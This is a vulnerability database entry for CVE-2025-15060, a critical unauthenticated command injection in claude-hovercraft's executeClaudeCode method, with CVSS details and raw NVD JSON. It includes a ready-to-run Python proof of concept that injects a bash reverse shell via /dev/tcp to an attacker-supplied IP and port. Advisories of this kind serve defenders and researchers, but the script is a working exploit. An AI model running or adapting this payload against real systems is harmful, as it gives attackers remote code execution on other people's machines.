Security Vulnerability Report
中文
CVE-2025-15060 CVSS 9.8 CRITICAL

CVE-2025-15060

Published: 2026-03-16 14:17:56
Last Modified: 2026-03-16 14:53:46

Description

claude-hovercraft executeClaudeCode Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of claude-hovercraft. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the executeClaudeCode method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27785.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

claude-hovercraft < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-15060 PoC - claude-hovercraft executeClaudeCode Command Injection Reference: ZDI-CAN-27785 Note: This PoC is for educational and security testing purposes only. """ import requests import json import sys def exploit(target_url, attacker_ip, attacker_port): """ Exploit CVE-2025-15060 by injecting a reverse shell command """ # Malicious payload - command injection via executeClaudeCode # Using semicolon to inject arbitrary command payload = f"test; bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" exploit_data = { "method": "executeClaudeCode", "params": { "code": payload } } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload: {payload}") response = requests.post( target_url, json=exploit_data, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_url> <attacker_ip> <attacker_port>") print(f"Example: {sys.argv[0]} http://target:8080/api 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] exploit(target, ip, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15060", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:17:55.780", "lastModified": "2026-03-16T14:53:46.157", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "claude-hovercraft executeClaudeCode Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of claude-hovercraft. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the executeClaudeCode method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27785."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y ejecución remota de código en claude-hovercraft executeClaudeCode. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de claude-hovercraft. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la implementación del método executeClaudeCode. El problema resulta de la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-27785."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-124/", "source": "[email protected]"}]}}